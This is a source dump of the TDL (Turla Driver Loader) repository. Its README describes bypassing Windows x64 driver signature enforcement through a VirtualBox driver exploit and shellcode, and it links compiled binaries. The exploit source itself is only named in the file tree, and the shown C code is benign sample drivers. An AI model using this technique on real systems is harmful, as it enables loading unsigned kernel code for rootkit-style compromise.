├── Compiled ├── Furutaka.exe ├── dummy.sys └── dummy2.sys ├── LICENSE.md ├── README.md ├── Source ├── DummyDrv │ ├── dummy.sln │ └── dummy │ │ ├── dummy.vcxproj │ │ ├── dummy.vcxproj.filters │ │ ├── dummy.vcxproj.user │ │ └── main.c ├── DummyDrv2 │ ├── dummy.sln │ └── dummy │ │ ├── dummy.vcxproj │ │ ├── dummy.vcxproj.filters │ │ ├── dummy.vcxproj.user │ │ ├── main.c │ │ ├── main.h │ │ └── r3request.c └── Furutaka │ ├── Furutaka.sln │ ├── Furutaka.vcxproj │ ├── Furutaka.vcxproj.filters │ ├── Furutaka.vcxproj.user │ ├── cui.c │ ├── cui.h │ ├── drv │ └── vboxdrv_exploitable.sys │ ├── global.h │ ├── instdrv.c │ ├── instdrv.h │ ├── main.c │ ├── minirtl │ ├── _strcat.c │ ├── _strcmpi.c │ ├── _strcpy.c │ ├── _strend.c │ ├── _strlen.c │ ├── _strncmpi.c │ ├── cmdline.c │ ├── cmdline.h │ ├── minirtl.h │ ├── rtltypes.h │ ├── u64tohex.c │ ├── u64tostr.c │ ├── ultohex.c │ └── ultostr.c │ ├── ntos.h │ ├── resource.h │ ├── resource.rc │ ├── shellcode.h │ ├── sup.c │ ├── sup.h │ └── vbox.h └── TDL.sha256 /Compiled/Furutaka.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Compiled/Furutaka.exe -------------------------------------------------------------------------------- /Compiled/dummy.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Compiled/dummy.sys -------------------------------------------------------------------------------- /Compiled/dummy2.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Compiled/dummy2.sys -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (c) TDL Project authors 2 | 3 | Redistribution and use in source and binary forms, with or without 4 | modification, are permitted provided that the following conditions are met: 5 | 6 | * Redistributions of source code must retain the above copyright notice, this 7 | list of conditions and the following disclaimer. 8 | 9 | * Redistributions in binary form must reproduce the above copyright notice, 10 | this list of conditions and the following disclaimer in the documentation 11 | and/or other materials provided with the distribution. 12 | 13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 14 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 15 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 17 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 18 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 19 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 20 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 21 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 22 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # TDL (Turla Driver Loader) 3 | ## Driver loader for bypassing Windows x64 Driver Signature Enforcement 4 | 5 | For more info see 6 | + Defeating x64 Driver Signature Enforcement http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3322 7 | + WinNT/Turla http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3193 8 | 9 | # System Requirements and limitations 10 | 11 | + x64 Windows 7/8/8.1/10. 12 | + TDL designed only for x64 Windows, Vista not listed as supported because it is obsolete. 13 | + Administrative privilege is required. 14 | + Loaded drivers MUST BE specially designed to run as "driverless". 15 | + No SEH support for target drivers. 16 | + No driver unloading. 17 | + Only ntoskrnl import resolved, everything else is up to you. 18 | + Dummy driver examples provided. 19 | 20 | You use it at your own risk. Some lazy AV may flag this loader as malware. 21 | 22 | # Differences between DSEFix and TDL 23 | While both DSEFix and TDL uses advantage of driver exploit they completely different on way of it use. 24 | + DSEFix manipulate kernel variable called g_CiEnabled (Vista/7, ntoskrnl.exe) and/or g_CiOptions (8+. CI.DLL). Main advantage of DSEFix is it simplicity - you turn DSE off - load your driver (or patched one) and nothing else required. Main disadvantage of DSEFix is that on the modern version of Windows (8+) g_CiOptions variable is subject of PatchGuard (KPP) protection, which mean DSEFix is a potential BSOD-generator. 25 | + TDL does not patch any kernel variables, which makes it friendly to PatchGuard. It uses small shellcode which maps your driver to kernel mode without involving Windows loader (and as result without triggering any parts of DSE) and executes it. This is main advantage of TDL - non invasive bypass of DSE. There are many disadvantages however - the first and main -> your driver MUST BE specially created to run as "driverless" which mean you will be unable to load *any* driver but only specially designed. Your driver will exist in kernel mode as executable code buffer, it won't be linked to PsLoadedModuleList, there will be other limitations. However this code will work at kernel mode and user mode application will be able communicate with it. You can load multiple drivers, of course if they are not conflict with each other. 26 | 27 | # How it work 28 | 29 | It uses WinNT/Turla VirtualBox kernel mode exploit technique to write code to the kernel memory and after execute this code. TDL uses custom bootstrap shellcode to map your specially designed driver and call it entry point (DriverEntry), note that DriverEntry parameters will be invalid and must not be used. Examples of specially designed drivers available as DummyDrv and DummyDrv2. Your DriverEntry will run at IRQL PASSIVE_LEVEL up to Windows 10 RS1. Starting from Windows 10 RS2 your DriverEntry code runs on IRQL DISPATCH_LEVEL. 30 | 31 | # Build 32 | 33 | TDL comes with full source code. 34 | In order to build from source you need Microsoft Visual Studio 2015 U1 and later versions. For driver builds you need Microsoft Windows Driver Kit 8.1 and/or above. 35 | 36 | ## Instructions 37 | 38 | * Select Platform ToolSet first for project in solution you want to build (Project->Properties->General): 39 | * v120 for Visual Studio 2013; 40 | * v140 for Visual Studio 2015; 41 | * v141 for Visual Studio 2017. 42 | * For v140 and above set Target Platform Version (Project->Properties->General): 43 | * If v140 then select 8.1 (Note that Windows 8.1 SDK must be installed); 44 | * If v141 then select 10.0.17763.0 (Note that Windows 10.0.17763 SDK must be installed). 45 | 46 | Remove linker option /NOCOFFGRPINFO where it unsupported/unavailable. 47 | 48 | # Deprecation 49 | 50 | TDL based on old Oracle VirtualBox driver which was created in 2008. This driver wasn't designed to be compatible with newest Windows operation system versions and may work incorrectly. Because TDL entirely based on this exact VirtualBox driver version LPE it is not wise to use it on newest version of Windows. Consider this repository as depricated/abandonware. The only possible updates can be related only to TDL loader itself. 51 | 52 | # Authors 53 | 54 | (c) 2016 - 2019 TDL Project 55 | 56 | # Credits 57 | 58 | + R136a1 59 | + N. Rin 60 | -------------------------------------------------------------------------------- /Source/DummyDrv/dummy.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64 15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Source/DummyDrv/dummy/dummy.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290} 15 | {1bc93793-694f-48fe-9372-81e2b05556fd} 16 | v4.5 17 | 12.0 18 | Debug 19 | Win32 20 | dummy 21 | 8.1 22 | 23 | 24 | 25 | Windowsv6.3 26 | true 27 | WindowsKernelModeDriver10.0 28 | Driver 29 | KMDF 30 | Universal 31 | 32 | 33 | Windowsv6.3 34 | false 35 | WindowsKernelModeDriver8.1 36 | Driver 37 | KMDF 38 | Universal 39 | true 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | DbgengKernelDebugger 51 | AllRules.ruleset 52 | .\output\$(Platform)\$(Configuration)\ 53 | .\output\$(Platform)\$(Configuration)\ 54 | 55 | 56 | DbgengKernelDebugger 57 | AllRules.ruleset 58 | true 59 | .\output\$(Platform)\$(Configuration)\ 60 | .\output\$(Platform)\$(Configuration)\ 61 | 62 | 63 | 64 | false 65 | true 66 | Speed 67 | false 68 | true 69 | All 70 | true 71 | CompileAsC 72 | true 73 | false 74 | 75 | 76 | false 77 | false 78 | true 79 | true 80 | true 81 | DriverEntry 82 | true 83 | true 84 | false 85 | 86 | 87 | 88 | 89 | false 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /Source/DummyDrv/dummy/dummy.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | -------------------------------------------------------------------------------- /Source/DummyDrv/dummy/dummy.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Off 5 | 6 | -------------------------------------------------------------------------------- /Source/DummyDrv/dummy/main.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017 4 | * 5 | * TITLE: MAIN.C 6 | * 7 | * VERSION: 1.01 8 | * 9 | * DATE: 20 Apr 2017 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #include 19 | 20 | DRIVER_INITIALIZE DriverEntry; 21 | #pragma alloc_text(INIT, DriverEntry) 22 | 23 | /* 24 | * DriverEntry 25 | * 26 | * Purpose: 27 | * 28 | * Driver base entry point. 29 | * 30 | */ 31 | NTSTATUS DriverEntry( 32 | _In_ struct _DRIVER_OBJECT *DriverObject, 33 | _In_ PUNICODE_STRING RegistryPath 34 | ) 35 | { 36 | PEPROCESS Process; 37 | KIRQL Irql; 38 | PWSTR sIrql; 39 | 40 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */ 41 | UNREFERENCED_PARAMETER(DriverObject); 42 | UNREFERENCED_PARAMETER(RegistryPath); 43 | 44 | DbgPrint("Hello from kernel mode, system range start is %p, code mapped at %p\n", MmSystemRangeStart, DriverEntry); 45 | 46 | Process = PsGetCurrentProcess(); 47 | DbgPrint("I'm at %s, Process : %lu (%p)\n", 48 | __FUNCTION__, 49 | (ULONG)PsGetCurrentProcessId(), 50 | Process); 51 | 52 | Irql = KeGetCurrentIrql(); 53 | 54 | switch (Irql) { 55 | 56 | case PASSIVE_LEVEL: 57 | sIrql = L"PASSIVE_LEVEL"; 58 | break; 59 | case APC_LEVEL: 60 | sIrql = L"APC_LEVEL"; 61 | break; 62 | case DISPATCH_LEVEL: 63 | sIrql = L"DISPATCH_LEVEL"; 64 | break; 65 | case CMCI_LEVEL: 66 | sIrql = L"CMCI_LEVEL"; 67 | break; 68 | case CLOCK_LEVEL: 69 | sIrql = L"CLOCK_LEVEL"; 70 | break; 71 | case IPI_LEVEL: 72 | sIrql = L"IPI_LEVEL"; 73 | break; 74 | case HIGH_LEVEL: 75 | sIrql = L"HIGH_LEVEL"; 76 | break; 77 | default: 78 | sIrql = L"Unknown Value"; 79 | break; 80 | } 81 | 82 | DbgPrint("KeGetCurrentIrql=%ws\n", sIrql); 83 | 84 | return STATUS_SUCCESS; 85 | } 86 | -------------------------------------------------------------------------------- /Source/DummyDrv2/dummy.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64 15 | {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Source/DummyDrv2/dummy/dummy.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {3D8146DE-8064-46C0-9E70-CEEC357B2290} 15 | {1bc93793-694f-48fe-9372-81e2b05556fd} 16 | v4.5 17 | 12.0 18 | Debug 19 | Win32 20 | dummy 21 | 8.1 22 | 23 | 24 | 25 | Windowsv6.3 26 | true 27 | WindowsKernelModeDriver10.0 28 | Driver 29 | KMDF 30 | Universal 31 | 32 | 33 | Windowsv6.3 34 | false 35 | WindowsKernelModeDriver8.1 36 | Driver 37 | KMDF 38 | Universal 39 | true 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | DbgengKernelDebugger 51 | AllRules.ruleset 52 | .\output\$(Platform)\$(Configuration)\ 53 | .\output\$(Platform)\$(Configuration)\ 54 | 55 | 56 | DbgengKernelDebugger 57 | AllRules.ruleset 58 | false 59 | .\output\$(Platform)\$(Configuration)\ 60 | .\output\$(Platform)\$(Configuration)\ 61 | 62 | 63 | 64 | false 65 | true 66 | Speed 67 | false 68 | true 69 | All 70 | true 71 | CompileAsC 72 | false 73 | false 74 | 75 | 76 | false 77 | false 78 | true 79 | true 80 | true 81 | DriverEntry 82 | true 83 | true 84 | false 85 | 86 | 87 | 88 | 89 | false 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /Source/DummyDrv2/dummy/dummy.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | 27 | 28 | Header Files 29 | 30 | 31 | -------------------------------------------------------------------------------- /Source/DummyDrv2/dummy/dummy.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Off 5 | 6 | -------------------------------------------------------------------------------- /Source/DummyDrv2/dummy/main.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017 4 | * 5 | * TITLE: MAIN.C 6 | * 7 | * VERSION: 1.01 8 | * 9 | * DATE: 20 Apr 2017 10 | * 11 | * "Driverless" example #2 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #include 20 | #include "main.h" 21 | 22 | #define DEBUGPRINT 23 | 24 | /* 25 | * PrintIrql 26 | * 27 | * Purpose: 28 | * 29 | * Debug print current irql. 30 | * 31 | */ 32 | VOID PrintIrql() 33 | { 34 | KIRQL Irql; 35 | PWSTR sIrql; 36 | 37 | Irql = KeGetCurrentIrql(); 38 | 39 | switch (Irql) { 40 | 41 | case PASSIVE_LEVEL: 42 | sIrql = L"PASSIVE_LEVEL"; 43 | break; 44 | case APC_LEVEL: 45 | sIrql = L"APC_LEVEL"; 46 | break; 47 | case DISPATCH_LEVEL: 48 | sIrql = L"DISPATCH_LEVEL"; 49 | break; 50 | case CMCI_LEVEL: 51 | sIrql = L"CMCI_LEVEL"; 52 | break; 53 | case CLOCK_LEVEL: 54 | sIrql = L"CLOCK_LEVEL"; 55 | break; 56 | case IPI_LEVEL: 57 | sIrql = L"IPI_LEVEL"; 58 | break; 59 | case HIGH_LEVEL: 60 | sIrql = L"HIGH_LEVEL"; 61 | break; 62 | default: 63 | sIrql = L"Unknown Value"; 64 | break; 65 | } 66 | DbgPrint("KeGetCurrentIrql=%u(%ws)\n", Irql, sIrql); 67 | } 68 | 69 | /* 70 | * DevioctlDispatch 71 | * 72 | * Purpose: 73 | * 74 | * IRP_MJ_DEVICE_CONTROL dispatch. 75 | * 76 | */ 77 | NTSTATUS DevioctlDispatch( 78 | _In_ struct _DEVICE_OBJECT *DeviceObject, 79 | _Inout_ struct _IRP *Irp 80 | ) 81 | { 82 | NTSTATUS status = STATUS_SUCCESS; 83 | ULONG bytesIO = 0; 84 | PIO_STACK_LOCATION stack; 85 | BOOLEAN condition = FALSE; 86 | PINOUTPARAM rp, wp; 87 | 88 | UNREFERENCED_PARAMETER(DeviceObject); 89 | 90 | #ifdef DEBUGPRINT 91 | DbgPrint("%s IRP_MJ_DEVICE_CONTROL", __FUNCTION__); 92 | #endif 93 | 94 | stack = IoGetCurrentIrpStackLocation(Irp); 95 | 96 | do { 97 | 98 | if (stack == NULL) { 99 | status = STATUS_INTERNAL_ERROR; 100 | break; 101 | } 102 | 103 | rp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer; 104 | wp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer; 105 | if (rp == NULL) { 106 | status = STATUS_INVALID_PARAMETER; 107 | break; 108 | } 109 | 110 | switch (stack->Parameters.DeviceIoControl.IoControlCode) { 111 | case DUMMYDRV_REQUEST1: 112 | 113 | #ifdef DEBUGPRINT 114 | DbgPrint("%s DUMMYDRV_REQUEST1 hit", __FUNCTION__); 115 | #endif 116 | if (stack->Parameters.DeviceIoControl.InputBufferLength != sizeof(INOUT_PARAM)) { 117 | status = STATUS_INVALID_PARAMETER; 118 | break; 119 | } 120 | 121 | #ifdef DEBUGPRINT 122 | DbgPrint("%s in params = %lx, %lx, %lx, %lx", __FUNCTION__, 123 | rp->Param1, rp->Param2, rp->Param3, rp->Param4); 124 | #endif 125 | 126 | wp->Param1 = 11111111; 127 | wp->Param2 = 22222222; 128 | wp->Param3 = 33333333; 129 | wp->Param4 = 44444444; 130 | 131 | status = STATUS_SUCCESS; 132 | bytesIO = sizeof(INOUT_PARAM); 133 | 134 | break; 135 | 136 | default: 137 | 138 | #ifdef DEBUGPRINT 139 | DbgPrint("%s hit with invalid IoControlCode", __FUNCTION__); 140 | #endif 141 | status = STATUS_INVALID_PARAMETER; 142 | }; 143 | 144 | } while (condition); 145 | 146 | Irp->IoStatus.Status = status; 147 | Irp->IoStatus.Information = bytesIO; 148 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 149 | return status; 150 | } 151 | 152 | /* 153 | * UnsupportedDispatch 154 | * 155 | * Purpose: 156 | * 157 | * Unused IRP_MJ_* dispatch. 158 | * 159 | */ 160 | NTSTATUS UnsupportedDispatch( 161 | _In_ struct _DEVICE_OBJECT *DeviceObject, 162 | _Inout_ struct _IRP *Irp 163 | ) 164 | { 165 | UNREFERENCED_PARAMETER(DeviceObject); 166 | 167 | Irp->IoStatus.Status = STATUS_NOT_SUPPORTED; 168 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 169 | return Irp->IoStatus.Status; 170 | } 171 | 172 | /* 173 | * CreateDispatch 174 | * 175 | * Purpose: 176 | * 177 | * IRP_MJ_CREATE dispatch. 178 | * 179 | */ 180 | NTSTATUS CreateDispatch( 181 | _In_ struct _DEVICE_OBJECT *DeviceObject, 182 | _Inout_ struct _IRP *Irp 183 | ) 184 | { 185 | UNREFERENCED_PARAMETER(DeviceObject); 186 | 187 | #ifdef DEBUGPRINT 188 | DbgPrint("%s Create", __FUNCTION__); 189 | #endif 190 | 191 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 192 | return Irp->IoStatus.Status; 193 | } 194 | 195 | /* 196 | * CloseDispatch 197 | * 198 | * Purpose: 199 | * 200 | * IRP_MJ_CLOSE dispatch. 201 | * 202 | */ 203 | NTSTATUS CloseDispatch( 204 | _In_ struct _DEVICE_OBJECT *DeviceObject, 205 | _Inout_ struct _IRP *Irp 206 | ) 207 | { 208 | UNREFERENCED_PARAMETER(DeviceObject); 209 | 210 | #ifdef DEBUGPRINT 211 | DbgPrint("%s Close", __FUNCTION__); 212 | #endif 213 | 214 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 215 | return Irp->IoStatus.Status; 216 | } 217 | 218 | /* 219 | * DriverInitialize 220 | * 221 | * Purpose: 222 | * 223 | * Driver main. 224 | * 225 | */ 226 | NTSTATUS DriverInitialize( 227 | _In_ struct _DRIVER_OBJECT *DriverObject, 228 | _In_ PUNICODE_STRING RegistryPath 229 | ) 230 | { 231 | NTSTATUS status; 232 | UNICODE_STRING SymLink, DevName; 233 | PDEVICE_OBJECT devobj; 234 | ULONG t; 235 | 236 | //RegistryPath is NULL 237 | UNREFERENCED_PARAMETER(RegistryPath); 238 | 239 | #ifdef DEBUGPRINT 240 | DbgPrint("%s\n", __FUNCTION__); 241 | #endif 242 | 243 | RtlInitUnicodeString(&DevName, L"\\Device\\TDLD"); 244 | status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &devobj); 245 | 246 | #ifdef DEBUGPRINT 247 | DbgPrint("%s IoCreateDevice(%wZ) = %lx\n", __FUNCTION__, DevName, status); 248 | #endif 249 | 250 | if (!NT_SUCCESS(status)) { 251 | return status; 252 | } 253 | 254 | RtlInitUnicodeString(&SymLink, L"\\DosDevices\\TDLD"); 255 | status = IoCreateSymbolicLink(&SymLink, &DevName); 256 | 257 | #ifdef DEBUGPRINT 258 | DbgPrint("%s IoCreateSymbolicLink(%wZ) = %lx\n", __FUNCTION__, SymLink, status); 259 | #endif 260 | 261 | devobj->Flags |= DO_BUFFERED_IO; 262 | 263 | for (t = 0; t <= IRP_MJ_MAXIMUM_FUNCTION; t++) 264 | DriverObject->MajorFunction[t] = &UnsupportedDispatch; 265 | 266 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = &DevioctlDispatch; 267 | DriverObject->MajorFunction[IRP_MJ_CREATE] = &CreateDispatch; 268 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = &CloseDispatch; 269 | DriverObject->DriverUnload = NULL; //nonstandard way of driver loading, no unload 270 | 271 | devobj->Flags &= ~DO_DEVICE_INITIALIZING; 272 | return status; 273 | } 274 | 275 | /* 276 | * DriverEntry 277 | * 278 | * Purpose: 279 | * 280 | * Driver base entry point. 281 | * 282 | */ 283 | NTSTATUS DriverEntry( 284 | _In_ struct _DRIVER_OBJECT *DriverObject, 285 | _In_ PUNICODE_STRING RegistryPath 286 | ) 287 | { 288 | NTSTATUS status; 289 | UNICODE_STRING drvName; 290 | 291 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */ 292 | UNREFERENCED_PARAMETER(DriverObject); 293 | UNREFERENCED_PARAMETER(RegistryPath); 294 | 295 | PrintIrql(); 296 | 297 | #ifdef DEBUGPRINT 298 | DbgPrint("%s\n", __FUNCTION__); 299 | #endif 300 | 301 | RtlInitUnicodeString(&drvName, L"\\Driver\\TDLD"); 302 | status = IoCreateDriver(&drvName, &DriverInitialize); 303 | 304 | #ifdef DEBUGPRINT 305 | DbgPrint("%s IoCreateDriver(%wZ) = %lx\n", __FUNCTION__, drvName, status); 306 | #endif 307 | 308 | return status; 309 | } 310 | -------------------------------------------------------------------------------- /Source/DummyDrv2/dummy/main.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017 4 | * 5 | * TITLE: MAIN.H 6 | * 7 | * VERSION: 1.01 8 | * 9 | * DATE: 20 Apr 2017 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | 18 | #pragma once 19 | 20 | NTKERNELAPI 21 | NTSTATUS 22 | IoCreateDriver( 23 | IN PUNICODE_STRING DriverName, OPTIONAL 24 | IN PDRIVER_INITIALIZE InitializationFunction 25 | ); 26 | 27 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL) 28 | DRIVER_DISPATCH DevioctlDispatch; 29 | _Dispatch_type_(IRP_MJ_CREATE) 30 | DRIVER_DISPATCH CreateDispatch; 31 | _Dispatch_type_(IRP_MJ_CLOSE) 32 | DRIVER_DISPATCH CloseDispatch; 33 | 34 | _Dispatch_type_(IRP_MJ_CREATE) 35 | _Dispatch_type_(IRP_MJ_CREATE_NAMED_PIPE) 36 | _Dispatch_type_(IRP_MJ_CLOSE) 37 | _Dispatch_type_(IRP_MJ_READ) 38 | _Dispatch_type_(IRP_MJ_WRITE) 39 | _Dispatch_type_(IRP_MJ_QUERY_INFORMATION) 40 | _Dispatch_type_(IRP_MJ_SET_INFORMATION) 41 | _Dispatch_type_(IRP_MJ_QUERY_EA) 42 | _Dispatch_type_(IRP_MJ_SET_EA) 43 | _Dispatch_type_(IRP_MJ_FLUSH_BUFFERS) 44 | _Dispatch_type_(IRP_MJ_QUERY_VOLUME_INFORMATION) 45 | _Dispatch_type_(IRP_MJ_SET_VOLUME_INFORMATION) 46 | _Dispatch_type_(IRP_MJ_DIRECTORY_CONTROL) 47 | _Dispatch_type_(IRP_MJ_FILE_SYSTEM_CONTROL) 48 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL) 49 | _Dispatch_type_(IRP_MJ_INTERNAL_DEVICE_CONTROL) 50 | _Dispatch_type_(IRP_MJ_SHUTDOWN) 51 | _Dispatch_type_(IRP_MJ_LOCK_CONTROL) 52 | _Dispatch_type_(IRP_MJ_CLEANUP) 53 | _Dispatch_type_(IRP_MJ_CREATE_MAILSLOT) 54 | _Dispatch_type_(IRP_MJ_QUERY_SECURITY) 55 | _Dispatch_type_(IRP_MJ_SET_SECURITY) 56 | _Dispatch_type_(IRP_MJ_POWER) 57 | _Dispatch_type_(IRP_MJ_SYSTEM_CONTROL) 58 | _Dispatch_type_(IRP_MJ_DEVICE_CHANGE) 59 | _Dispatch_type_(IRP_MJ_QUERY_QUOTA) 60 | _Dispatch_type_(IRP_MJ_SET_QUOTA) 61 | _Dispatch_type_(IRP_MJ_PNP) 62 | DRIVER_DISPATCH UnsupportedDispatch; 63 | 64 | DRIVER_INITIALIZE DriverInitialize; 65 | DRIVER_INITIALIZE DriverEntry; 66 | #pragma alloc_text(INIT, DriverEntry) 67 | 68 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) 69 | 70 | typedef struct _INOUT_PARAM { 71 | ULONG Param1; 72 | ULONG Param2; 73 | ULONG Param3; 74 | ULONG Param4; 75 | } INOUT_PARAM, *PINOUTPARAM; 76 | -------------------------------------------------------------------------------- 